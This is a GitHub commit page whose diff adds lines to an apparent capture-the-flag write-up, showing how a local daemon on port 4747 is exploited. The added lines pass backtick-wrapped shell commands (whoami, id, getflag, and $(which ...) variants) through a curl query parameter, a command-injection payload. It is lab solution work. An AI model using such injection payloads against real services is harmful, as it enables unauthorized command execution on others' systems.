Skip to content

Commit

Permalink
show READMEs daily
Browse files Browse the repository at this point in the history
  • Loading branch information
nuoxoxo committed Nov 17, 2024
1 parent 5dd2ecc commit f8d5bbc
Showing 1 changed file with 14 additions and 1 deletion.
15 changes: 14 additions & 1 deletion README.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -342,7 +342,20 @@ Solution
z: scan if a port is open (a listening daemon)
Connection to localhost 4747 port [tcp/*] succeeded!
> curl localhost:4747/?x="\`/bin/getflag\`"
# eg.
> curl localhost:4747/?x="\`/usr/bin/whoami\`"
> curl localhost:4747/?x="\`/usr/bin/id\`"
> curl localhost:4747/?x="\`/bin/hostname\`"
> curl localhost:4747/?x="\`/bin/pwd\`"
> curl localhost:4747/?x="\`/bin/df\`"
# avoid typing realpath out
> curl localhost:4747/?x="\`$(which pwd)\`" 🟢
or
> curl localhost:4747/?x="\`$(whereis pwd|awk '{print $2}')\`"
# solve
> curl localhost:4747/?x="\`$(which getflag)\`"
```


Expand Down

0 comments on commit f8d5bbc

Please sign in to comment.